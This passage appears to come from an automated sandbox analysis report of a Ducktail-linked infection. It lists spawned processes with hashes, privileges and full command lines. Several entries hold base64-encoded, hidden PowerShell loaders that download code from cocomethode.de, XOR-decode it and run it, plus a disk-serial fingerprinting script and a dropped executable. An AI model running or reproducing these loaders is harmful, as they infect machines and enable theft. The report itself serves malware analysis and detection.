EEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:14:10
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:14:10
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:14:11
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ducktail_11, Description: Yara detected Ducktail, Source: 00000004.00000002.290271848956.00000236A91EA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:14:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:14:13
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"
Imagebase:	0x7ff7d22c0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:14:13
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE80.tmp" "c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP"
Imagebase:	0x7ff6b94c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:14:20
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:14:20
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:14:23
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""
Imagebase:	0x7ff6547a0000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:14:24
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:14:24
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:14:24
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:14:24
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:14:24
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff6ec990000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:14:28
Start date:	11/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7ff960000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:14:29
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6a8cb0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff7b1b50000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJ